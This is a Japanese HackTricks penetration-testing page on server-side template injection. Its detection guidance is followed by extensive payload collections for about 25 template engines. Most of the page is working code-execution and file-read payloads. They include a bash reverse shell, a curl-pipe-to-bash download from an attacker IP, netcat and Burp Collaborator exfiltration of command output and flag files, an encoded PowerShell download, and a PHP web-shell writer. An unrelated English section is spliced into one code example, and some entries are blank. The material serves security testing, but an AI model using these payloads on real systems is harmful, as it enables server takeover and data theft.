hacktricks/pentesting-web/ssti-server-side-template-injection
2024-03-16 10:09:30 +00:00
..
el-expression-language.md Translated ['forensics/basic-forensic-methodology/memory-dump-analysis/R 2024-02-09 02:33:52 +00:00
jinja2-ssti.md Translated ['generic-methodologies-and-resources/external-recon-methodol 2024-02-23 16:45:40 +00:00
README.md Translated ['mobile-pentesting/android-app-pentesting/webview-attacks.md 2024-03-16 10:09:30 +00:00

SSTI (サーバーサイドテンプレートインジェクション)

htARTEHackTricks AWS Red Team Expert でゼロからヒーローまでAWSハッキングを学びましょう

HackTricksをサポートする他の方法

RootedCONスペインで最も関連性の高いサイバーセキュリティイベントであり、ヨーロッパでも最も重要なイベントの1つです。技術知識の促進を使命として、この会議はあらゆる分野のテクノロジーとサイバーセキュリティ専門家の熱い出会いの場です。

{% embed url="https://www.rootedcon.com/" %}

SSTIサーバーサイドテンプレートインジェクションとは

サーバーサイドテンプレートインジェクションは、攻撃者がサーバーで実行されるテンプレートに悪意のあるコードをインジェクトできる脆弱性です。この脆弱性は、Jinjaを含むさまざまな技術で見つかる可能性があります。

JinjaはWebアプリケーションで使用される人気のあるテンプレートエンジンです。Jinjaを使用した脆弱なコードスニペットを示す例を考えてみましょう

output = template.render(name=request.args.get('name'))

以下の脆弱なコードでは、ユーザーのリクエストからの name パラメータが render 関数を使用して直接テンプレートに渡されます。これにより、攻撃者が name パラメータに悪意のあるコードをインジェクトし、サーバーサイドのテンプレートインジェクションを引き起こす可能性があります。

たとえば、攻撃者は次のようなペイロードを持つリクエストを作成できます:

http://vulnerable-website.com/?name={{bad-stuff-here}}

ペイロード {{bad-stuff-here}}name パラメータに挿入されます。このペイロードには、攻撃者が不正なコードを実行したりテンプレートエンジンを操作したりしてサーバーを制御する可能性がある Jinja テンプレートディレクティブが含まれています。

サーバーサイドテンプレートインジェクション脆弱性を防ぐために、開発者はユーザー入力がテンプレートに挿入される前に適切にサニタイズおよび検証されていることを確認する必要があります。入力検証の実装とコンテキストに応じたエスケープ技術の使用は、この脆弱性のリスクを緩和するのに役立ちます。

検出

サーバーサイドテンプレートインジェクションSSTIを検出するために、まずテンプレートのファジングが直接的なアプローチです。これには、テンプレートに特殊文字のシーケンス(${{<%[%'"}}%\)を挿入し、通常のデータとこの特殊ペイロードとの違いを分析することが含まれます。脆弱性の指標には次のものがあります:

  • 脆弱性やテンプレートエンジンを明らかにするエラーの発生。
  • 反射中にペイロードがないか、または一部が欠落していることにより、サーバーが通常のデータと異なる方法で処理していることを示す。
  • プレーンテキストコンテキストサーバーがテンプレート式を評価しているかどうかを確認して、XSS と区別する(例:{{7*7}}${7*7})。
  • コードコンテキスト:入力パラメータを変更して脆弱性を確認します。たとえば、http://vulnerable-website.com/?greeting=data.usernamegreeting を変更して、サーバーの出力が動的か固定かを確認します。greeting=data.username}}hello はユーザー名を返します。

識別フェーズ

テンプレートエンジンを特定するには、エラーメッセージを分析したり、さまざまな言語固有のペイロードを手動でテストしたりする必要があります。エラーを引き起こす一般的なペイロードには ${7/0}{{7/0}}<%= 7/0 %> があります。数学演算に対するサーバーの応答を観察することで、特定のテンプレートエンジンを特定できます。

ツール

TInjA

新しいポリグロットを利用する効率的な SSTI + CSTI スキャナー

tinja url -u "http://example.com/?name=Kirlia" -H "Authentication: Bearer ey..."
tinja url -u "http://example.com/" -d "username=Kirlia"  -c "PHPSESSID=ABC123..."

SSTImap

python3 sstimap.py -i -l 5
python3 sstimap.py -u "http://example.com/ --crawl 5 --forms
python3 sstimap.py -u 'https://example.com/page?name=John' -s

Tplmap

python2.7 ./tplmap.py -u 'http://www.target.com/page?name=John*' --os-shell
python2.7 ./tplmap.py -u "http://192.168.56.101:3000/ti?user=*&comment=supercomment&link"
python2.7 ./tplmap.py -u "http://192.168.56.101:3000/ti?user=InjectHere*&comment=A&link" --level 5 -e jade

テンプレートインジェクションテーブル

44の主要なテンプレートエンジンの期待されるレスポンスとともに、最も効率的なテンプレートインジェクションポリグロットを含むインタラクティブなテーブル。

Exploits

一般的

このワードリストには、以下で言及されているエンジンの環境で定義された変数が含まれています:

Java

Java - 基本的なインジェクション

${7*7}
${{7*7}}
${class.getClassLoader()}
${class.getResource("").getPath()}
${class.getResource("../../../../../index.htm").getContent()}
// if ${...} doesn't work try #{...}, *{...}, @{...} or ~{...}.

Java - システムの環境変数を取得する

${T(java.lang.System).getenv()}

Java - /etc/passwd の取得

${T(java.lang.Runtime).getRuntime().exec('cat etc/passwd')}

${T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec(T(java.lang.Character).toString(99).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(32)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(101)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(99)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(112)).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(119)).concat(T(java.lang.Character).toString(100))).getInputStream())}

FreeMarker (Java)

あなたは、https://try.freemarker.apache.org でペイロードを試すことができます。

  • {{7*7}} = {{7*7}}
  • ${7*7} = 49
  • #{7*7} = 49 -- (legacy)
  • ${7*'7'} Nothing
  • ${foobar}
<#assign ex = "freemarker.template.utility.Execute"?new()>${ ex("id")}
[#assign ex = 'freemarker.template.utility.Execute'?new()]${ ex('id')}
${"freemarker.template.utility.Execute"?new()("id")}

${product.getClass().getProtectionDomain().getCodeSource().getLocation().toURI().resolve('/home/carlos/my_password.txt').toURL().openStream().readAllBytes()?join(" ")}

Freemarker - サンドボックス回避

⚠️ Freemarkerのバージョン2.3.30未満でのみ機能します

<#assign classloader=article.class.protectionDomain.classLoader>
<#assign owc=classloader.loadClass("freemarker.template.ObjectWrapper")>
<#assign dwf=owc.getField("DEFAULT_WRAPPER").get(null)>
<#assign ec=classloader.loadClass("freemarker.template.utility.Execute")>
${dwf.newInstance(ec,null)("id")}

詳細

Velocity (Java)

// I think this doesn't work
#set($str=$class.inspect("java.lang.String").type)
#set($chr=$class.inspect("java.lang.Character").type)
#set($ex=$class.inspect("java.lang.Runtime").type.getRuntime().exec("whoami"))
$ex.waitFor()
#set($out=$ex.getInputStream())
#foreach($i in [1..$out.available()])
$str.valueOf($chr.toChars($out.read()))
#end

// This should work?
#set($s="")
#set($stringClass=$s.getClass())
#set($runtime=$stringClass.forName("java.lang.Runtime").getRuntime())
#set($process=$runtime.exec("cat%20/flag563378e453.txt"))
#set($out=$process.getInputStream())
#set($null=$process.waitFor() )
#foreach($i+in+[1..$out.available()])
$out.read()
#end

詳細情報

Thymeleaf

Thymeleafでは、SSTI脆弱性の一般的なテストとして${7*7}の式が使用され、このテンプレートエンジンにも適用されます。潜在的なリモートコード実行のために、以下のような式が使用されることがあります:

  • SpringEL:
${T(java.lang.Runtime).getRuntime().exec('calc')}
  • OGNL:
${#rt = @java.lang.Runtime@getRuntime(),#rt.exec("calc")}

Thymeleafでは、これらの式を特定の属性内に配置する必要があります。ただし、_式のインライン化_は他のテンプレート位置でもサポートされており、[[...]][(...)]のような構文を使用します。したがって、単純なSSTIテストペイロードは[[${7*7}]]のようになります。

ただし、このペイロードが機能する可能性は一般的に低いです。Thymeleafのデフォルト構成では、動的テンプレート生成はサポートされていません。テンプレートは事前に定義する必要があります。開発者は、文字列からテンプレートを動的に生成するために独自のTemplateResolverを実装する必要がありますが、これは一般的ではありません。

Thymeleafはまた、_式の前処理_を提供しており、ダブルアンダースコア(__...__)内の式が前処理されます。この機能は、Thymeleafのドキュメントで示されているように、式の構築に利用できます。

#{selection.__${sel.code}__}

Thymeleafにおける脆弱性の例

以下のコードスニペットを考えてみてください。これは攻撃を受けやすい可能性があります:

<a th:href="@{__${path}__}" th:title="${title}">
<a th:href="${''.getClass().forName('java.lang.Runtime').getRuntime().exec('curl -d @/flag.txt burpcollab.com')}" th:title='pepito'>

これは、テンプレートエンジンがこれらの入力を適切に処理しない場合、次のようなURLにアクセスしてリモートコードを実行する可能性があることを示しています

http://localhost:8082/(7*7)
http://localhost:8082/(${T(java.lang.Runtime).getRuntime().exec('calc')})

詳細情報

{% content-ref url="el-expression-language.md" %} el-expression-language.md {% endcontent-ref %}

Spring Framework (Java)

*{T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec('id').getInputStream())}

フィルターをバイパスする

複数の変数式を使用できます。${...}が機能しない場合は、#{...}*{...}@{...}、または~{...}を試してみてください。

  • /etc/passwdを読む
${T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec(T(java.lang.Character).toString(99).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(32)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(101)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(99)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(112)).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(119)).concat(T(java.lang.Character).toString(100))).getInputStream())}
  • ペイロード生成用のカスタムスクリプト
#!/usr/bin/python3

## Written By Zeyad Abulaban (zAbuQasem)
# Usage: python3 gen.py "id"

from sys import argv

cmd = list(argv[1].strip())
print("Payload: ", cmd , end="\n\n")
converted = [ord(c) for c in cmd]
base_payload = '*{T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec'
end_payload = '.getInputStream())}'

count = 1
for i in converted:
if count == 1:
base_payload += f"(T(java.lang.Character).toString({i}).concat"
count += 1
elif count == len(converted):
base_payload += f"(T(java.lang.Character).toString({i})))"
else:
base_payload += f"(T(java.lang.Character).toString({i})).concat"
count += 1

print(base_payload + end_payload)

詳細

Spring View Manipulation (Java)

__${new java.util.Scanner(T(java.lang.Runtime).getRuntime().exec("id").getInputStream()).next()}__::.x
__${T(java.lang.Runtime).getRuntime().exec("touch executed")}__::.x

{% content-ref url="el-expression-language.md" %} el-expression-language.md {% endcontent-ref %}

Pebble (Java)

  • {{ someString.toUPPERCASE() }}

Pebbleの古いバージョンバージョン3.0.9未満):

{{ variable.getClass().forName('java.lang.Runtime').getRuntime().exec('ls -la') }}

新しいバージョンのPebble

{% raw %}
{% set cmd = 'id' %}
{% endraw %}



{% set bytes = (1).TYPE
.forName('java.lang.Runtime')
.methods[6]
.invoke(null,null)
.exec(cmd)
.inputStream
.readAllBytes() %}
{{ (1).TYPE
.forName('java.lang.String')
.constructors[0]
.newInstance(([bytes]).toArray()) }}

Jinjava (Java)

Jinjavaは、Java向けのテンプレートエンジンです。これは、サーバーサイドテンプレートインジェクションSSTI攻撃の標的になる可能性があります。 Jinjavaを使用している場合は、入力検証とエスケープ処理を適切に行うことが重要です。

{{'a'.toUpperCase()}} would result in 'A'
{{ request }} would return a request object like com.[...].context.TemplateContextRequest@23548206

Jinjava - コマンド実行

https://github.com/HubSpot/jinjava/ で利用可能なHubspotによって開発されたオープンソースプロジェクトです。

https://github.com/HubSpot/jinjava/pull/230 によって修正されました。

{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"new java.lang.String('xxx')\")}}

{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"whoami\\\"); x.start()\")}}

{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"netstat\\\"); org.apache.commons.io.IOUtils.toString(x.start().getInputStream())\")}}

{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"uname\\\",\\\"-a\\\"); org.apache.commons.io.IOUtils.toString(x.start().getInputStream())\")}}

詳細情報

Hubspot - HuBL (Java)

  • {% %} ステートメントの区切り文字
  • {{ }} 式の区切り文字
  • {# #} コメントの区切り文字
  • {{ request }} - com.hubspot.content.hubl.context.TemplateContextRequest@23548206
  • {{'a'.toUpperCase()}} - "A"
  • {{'a'.concat('b')}} - "ab"
  • {{'a'.getClass()}} - java.lang.String
  • {{request.getClass()}} - class com.hubspot.content.hubl.context.TemplateContextRequest
  • {{request.getClass().getDeclaredMethods()[0]}} - public boolean com.hubspot.content.hubl.context.TemplateContextRequest.isDebug()

"com.hubspot.content.hubl.context.TemplateContextRequest" を検索し、Github 上の Jinjava プロジェクト を発見しました。

{{request.isDebug()}}
//output: False

//Using string 'a' to get an instance of class sun.misc.Launcher
{{'a'.getClass().forName('sun.misc.Launcher').newInstance()}}
//output: sun.misc.Launcher@715537d4

//It is also possible to get a new object of the Jinjava class
{{'a'.getClass().forName('com.hubspot.jinjava.JinjavaConfig').newInstance()}}
//output: com.hubspot.jinjava.JinjavaConfig@78a56797

//It was also possible to call methods on the created object by combining the



{% raw %}
{% %} and {{ }} blocks
{% set ji='a'.getClass().forName('com.hubspot.jinjava.Jinjava').newInstance().newInterpreter() %}
{% endraw %}


{{ji.render('{{1*2}}')}}
//Here, I created a variable 'ji' with new instance of com.hubspot.jinjava.Jinjava class and obtained reference to the newInterpreter method. In the next block, I called the render method on 'ji' with expression {{1*2}}.

//{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"new java.lang.String('xxx')\")}}
//output: xxx

//RCE
{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"whoami\\\"); x.start()\")}}
//output: java.lang.UNIXProcess@1e5f456e

//RCE with org.apache.commons.io.IOUtils.
{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"netstat\\\"); org.apache.commons.io.IOUtils.toString(x.start().getInputStream())\")}}
//output: netstat execution

//Multiple arguments to the commands
Payload: {{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"uname\\\",\\\"-a\\\"); org.apache.commons.io.IOUtils.toString(x.start().getInputStream())\")}}
//Output: Linux bumpy-puma 4.9.62-hs4.el6.x86_64 #1 SMP Fri Jun 1 03:00:47 UTC 2018 x86_64 x86_64 x86_64 GNU/Linux

詳細情報

Expression Language - EL (Java)

  • ${"aaaa"} - "aaaa"
  • ${99999+1} - 100000.
  • #{7*7} - 49
  • ${{7*7}} - 49
  • ${{request}}, ${{session}}, {{faceContext}}

Expression Language (EL)は、JavaEEにおいてプレゼンテーション層Webページなどとアプリケーションロジック管理されたビーンなどとの間の相互作用を容易にする基本的な機能です。この通信を効率化するために、ELは複数のJavaEEテクロジー全体で広く使用されています。ELを利用する主要なJavaEEテクロジーには次のものがあります。

  • JavaServer Faces (JSF): ELを使用して、JSFページのコンポーネントを対応するバックエンドデータやアクションにバインドします。
  • JavaServer Pages (JSP): JSPではELが使用され、JSPページ内のデータへのアクセスや操作が可能になり、ページ要素をアプリケーションデータに接続しやすくなります。
  • Contexts and Dependency Injection for Java EE (CDI): ELはCDIと統合され、Web層と管理されたビーンとの間のシームレスな相互作用を可能にし、より一貫したアプリケーション構造を確保します。

ELインタプリタの悪用について詳しく学ぶには、次のページをチェックしてください:

{% content-ref url="el-expression-language.md" %} el-expression-language.md {% endcontent-ref %}

Groovy (Java)

以下のセキュリティマネージャーバイパスは、この解説記事から取得されました。

//Basic Payload
import groovy.*;
@groovy.transform.ASTTest(value={
cmd = "ping cq6qwx76mos92gp9eo7746dmgdm5au.burpcollaborator.net "
assert java.lang.Runtime.getRuntime().exec(cmd.split(" "))
})
def x

//Payload to get output
import groovy.*;
@groovy.transform.ASTTest(value={
cmd = "whoami";
out = new java.util.Scanner(java.lang.Runtime.getRuntime().exec(cmd.split(" ")).getInputStream()).useDelimiter("\\A").next()
cmd2 = "ping " + out.replaceAll("[^a-zA-Z0-9]","") + ".cq6qwx76mos92gp9eo7746dmgdm5au.burpcollaborator.net";
java.lang.Runtime.getRuntime().exec(cmd2.split(" "))
})
def x

//Other payloads
new groovy.lang.GroovyClassLoader().parseClass("@groovy.transform.ASTTest(value={assert java.lang.Runtime.getRuntime().exec(\"calc.exe\")})def x")
this.evaluate(new String(java.util.Base64.getDecoder().decode("QGdyb292eS50cmFuc2Zvcm0uQVNUVGVzdCh2YWx1ZT17YXNzZXJ0IGphdmEubGFuZy5SdW50aW1lLmdldFJ1bnRpbWUoKS5leGVjKCJpZCIpfSlkZWYgeA==")))
this.evaluate(new String(new byte[]{64, 103, 114, 111, 111, 118, 121, 46, 116, 114, 97, 110, 115, 102, 111, 114, 109, 46, 65, 83, 84, 84, 101, 115, 116, 40, 118, 97, 108, 117, 101, 61, 123, 97, 115, 115, 101, 114, 116, 32, 106, 97, 118, 97, 46, 108, 97, 110, 103, 46, 82, 117, 110, 116, 105, 109, 101, 46, 103, 101, 116, 82,117, 110, 116, 105, 109, 101, 40, 41, 46, 101, 120, 101, 99, 40, 34, 105, 100, 34, 41, 125, 41, 100, 101, 102, 32, 120}))

RootedCONスペインで最も関連性の高いサイバーセキュリティイベントであり、ヨーロッパでも最も重要なイベントの一つです。技術知識の促進を使命として、この会議はあらゆる分野のテクノロジーとサイバーセキュリティ専門家にとっての熱い出会いの場です。

{% embed url="https://www.rootedcon.com/" %}

Smarty (PHP)

{$smarty.version}
{php}echo `id`;{/php} //deprecated in smarty v3
{Smarty_Internal_Write_File::writeFile($SCRIPT_NAME,"<?php passthru($_GET['cmd']); ?>",self::clearConfig())}
{system('ls')} // compatible v3
{system('cat index.php')} // compatible v3

詳細情報

Twig (PHP)

  • {{7*7}} = 49
  • ${7*7} = ${7*7}
  • {{7*'7'}} = 49
  • {{1/0}} = Error
  • {{foobar}} Nothing
#Get Info
{{_self}} #(Ref. to current application)
{{_self.env}}
{{dump(app)}}
{{app.request.server.all|join(',')}}

#File read
"{{'/etc/passwd'|file_excerpt(1,30)}}"@

#Exec code
{{_self.env.setCache("ftp://attacker.net:2121")}}{{_self.env.loadTemplate("backdoor")}}
{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}}
{{_self.env.registerUndefinedFilterCallback("system")}}{{_self.env.getFilter("whoami")}}
{{_self.env.registerUndefinedFilterCallback("system")}}{{_self.env.getFilter("id;uname -a;hostname")}}
{{['id']|filter('system')}}
{{['cat\x20/etc/passwd']|filter('system')}}
{{['cat$IFS/etc/passwd']|filter('system')}}
{{['id',""]|sort('system')}}

#Hide warnings and errors for automatic exploitation
{{["error_reporting", "0"]|sort("ini_set")}}

Twig - テンプレート形式

$output = $twig > render (
'Dear' . $_GET['custom_greeting'],
array("first_name" => $user.first_name)
);

$output = $twig > render (
"Dear {first_name}",
array("first_name" => $user.first_name)
);

詳細情報

PlatesPHP

PlatesはPHP固有のテンプレートエンジンであり、Twigからインスピレーションを受けています。ただし、新しい構文を導入するTwigとは異なり、PlatesはテンプレートでネイティブなPHPコードを活用し、PHP開発者にとって直感的です。

Controller:

// Create new Plates instance
$templates = new League\Plates\Engine('/path/to/templates');

// Render a template
echo $templates->render('profile', ['name' => 'Jonathan']);

ページテンプレート:

<?php $this->layout('template', ['title' => 'User Profile']) ?>

<h1>User Profile</h1>
<p>Hello, <?=$this->e($name)?></p>
レイアウトテンプレート:
<html>
<head>
<title><?=$this->e($title)?></title>
</head>
<body>
<?=$this->section('content')?>
</body>
</html>

詳細

PHPlib と HTML_Template_PHPLIB (PHP)

HTML_Template_PHPLIB は PHPlib と同じで、Pear に移植されています。

authors.tpl

<html>
<head><title>{PAGE_TITLE}</title></head>
<body>
<table>
<caption>Authors</caption>
<thead>
<tr><th>Name</th><th>Email</th></tr>
</thead>
<tfoot>
<tr><td colspan="2">{NUM_AUTHORS}</td></tr>
</tfoot>
<tbody>
<!-- BEGIN authorline -->
<tr><td>{AUTHOR_NAME}</td><td>{AUTHOR_EMAIL}</td></tr>
<!-- END authorline -->
</tbody>
</table>
</body>
</html>

Server-Side Template Injection (SSTI)

Description

In some cases, the application may use server-side templates to render dynamic content. If the templates are not properly sanitized, an attacker may be able to inject and execute arbitrary code on the server.

Exploitation

To exploit SSTI, an attacker can inject template directives into user inputs, such as form fields or URL parameters. The injected code can vary depending on the template engine used by the application.

Detection

Detecting SSTI vulnerabilities involves testing user inputs for template injection points and observing the application's response. Look for error messages, unexpected output, or server-side code execution.

Prevention

To prevent SSTI attacks, ensure that all user inputs are properly sanitized before being passed to the template engine. Use context-specific escaping functions or disable dangerous template features if not needed.

<?php
//we want to display this author list
$authors = array(
'Christian Weiske'  => 'cweiske@php.net',
'Bjoern Schotte'     => 'schotte@mayflower.de'
);

require_once 'HTML/Template/PHPLIB.php';
//create template object
$t =& new HTML_Template_PHPLIB(dirname(__FILE__), 'keep');
//load file
$t->setFile('authors', 'authors.tpl');
//set block
$t->setBlock('authors', 'authorline', 'authorline_ref');

//set some variables
$t->setVar('NUM_AUTHORS', count($authors));
$t->setVar('PAGE_TITLE', 'Code authors as of ' . date('Y-m-d'));

//display the authors
foreach ($authors as $name => $email) {
$t->setVar('AUTHOR_NAME', $name);
$t->setVar('AUTHOR_EMAIL', $email);
$t->parse('authorline_ref', 'authorline', true);
}

//finish and echo
echo $t->finish($t->parse('OUT', 'authors'));
?>

詳細情報

Jade (NodeJS)

- var x = root.process
- x = x.mainModule.require
- x = x('child_process')
= x.exec('id | nc attacker.net 80')
#{root.process.mainModule.require('child_process').spawnSync('cat', ['/etc/passwd']).stdout}

詳細情報

patTemplate (PHP)

patTemplateは、XMLタグを使用してドキュメントを異なる部分に分割する、コンパイルされないPHPテンプレートエンジンです。

<patTemplate:tmpl name="page">
This is the main page.
<patTemplate:tmpl name="foo">
It contains another template.
</patTemplate:tmpl>
<patTemplate:tmpl name="hello">
Hello {NAME}.<br/>
</patTemplate:tmpl>
</patTemplate:tmpl>

詳細

Handlebars (NodeJS)

パストラバーサル(詳細はこちら)。

curl -X 'POST' -H 'Content-Type: application/json' --data-binary $'{\"profile\":{"layout\": \"./../routes/index.js\"}}' 'http://ctf.shoebpatel.com:9090/'
  • = エラー
  • ${7*7} = ${7*7}
  • 何も
{{#with "s" as |string|}}
{{#with "e"}}
{{#with split as |conslist|}}
{{this.pop}}
{{this.push (lookup string.sub "constructor")}}
{{this.pop}}
{{#with string.split as |codelist|}}
{{this.pop}}
{{this.push "return require('child_process').exec('whoami');"}}
{{this.pop}}
{{#each conslist}}
{{#with (string.sub.apply 0 codelist)}}
{{this}}
{{/with}}
{{/each}}
{{/with}}
{{/with}}
{{/with}}
{{/with}}

URLencoded:
%7B%7B%23with%20%22s%22%20as%20%7Cstring%7C%7D%7D%0D%0A%20%20%7B%7B%23with%20%22e%22%7D%7D%0D%0A%20%20%20%20%7B%7B%23with%20split%20as%20%7Cconslist%7C%7D%7D%0D%0A%20%20%20%20%20%20%7B%7Bthis%2Epop%7D%7D%0D%0A%20%20%20%20%20%20%7B%7Bthis%2Epush%20%28lookup%20string%2Esub%20%22constructor%22%29%7D%7D%0D%0A%20%20%20%20%20%20%7B%7Bthis%2Epop%7D%7D%0D%0A%20%20%20%20%20%20%7B%7B%23with%20string%2Esplit%20as%20%7Ccodelist%7C%7D%7D%0D%0A%20%20%20%20%20%20%20%20%7B%7Bthis%2Epop%7D%7D%0D%0A%20%20%20%20%20%20%20%20%7B%7Bthis%2Epush%20%22return%20require%28%27child%5Fprocess%27%29%2Eexec%28%27whoami%27%29%3B%22%7D%7D%0D%0A%20%20%20%20%20%20%20%20%7B%7Bthis%2Epop%7D%7D%0D%0A%20%20%20%20%20%20%20%20%7B%7B%23each%20conslist%7D%7D%0D%0A%20%20%20%20%20%20%20%20%20%20%7B%7B%23with%20%28string%2Esub%2Eapply%200%20codelist%29%7D%7D%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%7B%7Bthis%7D%7D%0D%0A%20%20%20%20%20%20%20%20%20%20%7B%7B%2Fwith%7D%7D%0D%0A%20%20%20%20%20%20%20%20%7B%7B%2Feach%7D%7D%0D%0A%20%20%20%20%20%20%7B%7B%2Fwith%7D%7D%0D%0A%20%20%20%20%7B%7B%2Fwith%7D%7D%0D%0A%20%20%7B%7B%2Fwith%7D%7D%0D%0A%7B%7B%2Fwith%7D%7D

詳細情報

JsRender (NodeJS)

テンプレート 説明
評価して出力をレンダリングする
評価してHTMLエンコードされた出力をレンダリングする
コメント
and コードを許可(デフォルトでは無効)
  • = 49

クライアントサイド

{{:%22test%22.toString.constructor.call({},%22alert(%27xss%27)%22)()}}

サーバーサイド

{{:"pwnd".toString.constructor.call({},"return global.process.mainModule.constructor._load('child_process').execSync('cat /etc/passwd').toString()")()}}

詳細情報

PugJs (NodeJS)

  • #{7*7} = 49
  • #{function(){localLoad=global.process.mainModule.constructor._load;sh=localLoad("child_process").exec('touch /tmp/pwned.txt')}()}
  • #{function(){localLoad=global.process.mainModule.constructor._load;sh=localLoad("child_process").exec('curl 10.10.14.3:8001/s.sh | bash')}()}

サーバーサイドレンダリングの例

var pugjs = require('pug');
home = pugjs.render(injected_page)

詳細

NUNJUCKS (NodeJS)

  • {{7*7}} = 49
  • {{foo}} = 出力なし
  • #{7*7} = #{7*7}
  • {{console.log(1)}} = エラー
{{range.constructor("return global.process.mainModule.require('child_process').execSync('tail /etc/passwd')")()}}
{{range.constructor("return global.process.mainModule.require('child_process').execSync('bash -c \"bash -i >& /dev/tcp/10.10.14.11/6767 0>&1\"')")()}}

詳細

ERB (Ruby)

  • {{7*7}} = {{7*7}}
  • ${7*7} = ${7*7}
  • <%= 7*7 %> = 49
  • <%= foobar %> = Error
<%= system("whoami") %> #Execute code
<%= Dir.entries('/') %> #List folder
<%= File.open('/etc/passwd').read %> #Read file

<%= system('cat /etc/passwd') %>
<%= `ls /` %>
<%= IO.popen('ls /').readlines()  %>
<% require 'open3' %><% @a,@b,@c,@d=Open3.popen3('whoami') %><%= @b.readline()%>
<% require 'open4' %><% @a,@b,@c,@d=Open4.popen4('whoami') %><%= @c.readline()%>

詳細

Slim (Ruby)

  • { 7 * 7 }
{ %x|env| }

詳細情報

Python

Pythonでの砂箱をバイパスして任意のコマンドを実行するトリックについて学ぶには、以下のページをチェックしてください:

{% content-ref url="../../generic-methodologies-and-resources/python/bypass-python-sandboxes/" %} bypass-python-sandboxes {% endcontent-ref %}

Tornado (Python)

  • {{7*7}} = 49
  • ${7*7} = ${7*7}
  • {{foobar}} = Error
  • {{7*'7'}} = 7777777
{% raw %}
{% import foobar %} = Error
{% import os %}

{% import os %}
{% endraw %}




{{os.system('whoami')}}
{{os.system('whoami')}}

詳細情報

Jinja2 (Python)

公式ウェブサイト

Jinja2はPython向けのフル機能のテンプレートエンジンです。完全なUnicodeサポート、オプションの統合された砂箱実行環境、広く使用されておりBSDライセンスです。

  • {{7*7}} = エラー
  • ${7*7} = ${7*7}
  • {{foobar}} なし
  • {{4*4}}[[5*5]]
  • {{7*'7'}} = 7777777
  • {{config}}
  • {{config.items()}}
  • {{settings.SECRET_KEY}}
  • {{settings}}
  • <div data-gb-custom-block data-tag="debug"></div>
{% raw %}
{% debug %}
{% endraw %}




{{settings.SECRET_KEY}}
{{4*4}}[[5*5]]
{{7*'7'}} would result in 7777777

Jinja2 - テンプレート形式

{% raw %}
{% extends "layout.html" %}
{% block body %}
<ul>
{% for user in users %}
<li><a href="{{ user.url }}">{{ user.username }}</a></li>
{% endfor %}
</ul>
{% endblock %}
{% endraw %}


__builtins__に依存しないRCE:

{{ self._TemplateReference__context.cycler.__init__.__globals__.os.popen('id').read() }}
{{ self._TemplateReference__context.joiner.__init__.__globals__.os.popen('id').read() }}
{{ self._TemplateReference__context.namespace.__init__.__globals__.os.popen('id').read() }}

# Or in the shotest versions:
{{ cycler.__init__.__globals__.os.popen('id').read() }}
{{ joiner.__init__.__globals__.os.popen('id').read() }}
{{ namespace.__init__.__globals__.os.popen('id').read() }}

Jinjaの悪用方法の詳細:

{% content-ref url="jinja2-ssti.md" %} jinja2-ssti.md {% endcontent-ref %}

他のペイロードはhttps://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#jinja2にあります。

Mako (Python)

<%
import os
x=os.popen('id').read()
%>
${x}

さらなる情報

Razor (.Net)

  • @(2+2) <= 成功
  • @() <= 成功
  • @("{{code}}") <= 成功
  • @ <= 成功
  • @{} <= エラー!
  • @{ <= エラー!
  • @(1+2)
  • @( //C#Code )
  • @System.Diagnostics.Process.Start("cmd.exe","/c echo RCE > C:/Windows/Tasks/test.txt");
  • @System.Diagnostics.Process.Start("cmd.exe","/c powershell.exe -enc IABpAHcAcgAgAC0AdQByAGkAIABoAHQAdABwADoALwAvADEAOQAyAC4AMQA2ADgALgAyAC4AMQAxADEALwB0AGUAcwB0AG0AZQB0ADYANAAuAGUAeABlACAALQBPAHUAdABGAGkAbABlACAAQwA6AFwAVwBpAG4AZABvAHcAcwBCAGEAcwBrAHMAXAB0AGUAcwB0AG0AZQB0ADYANAAuAGUAeABlAA==");

.NETのSystem.Diagnostics.Process.Startメソッドを使用して、サーバー上で任意のプロセスを開始し、Webシェルを作成できます。脆弱なWebアプリの例はhttps://github.com/cnotin/RazorVulnerableAppで見つけることができます。

さらなる情報

ASP

  • <%= 7*7 %> = 49
  • <%= "foo" %> = foo
  • <%= foo %> = Nothing
  • <%= response.write(date()) %> = <Date>
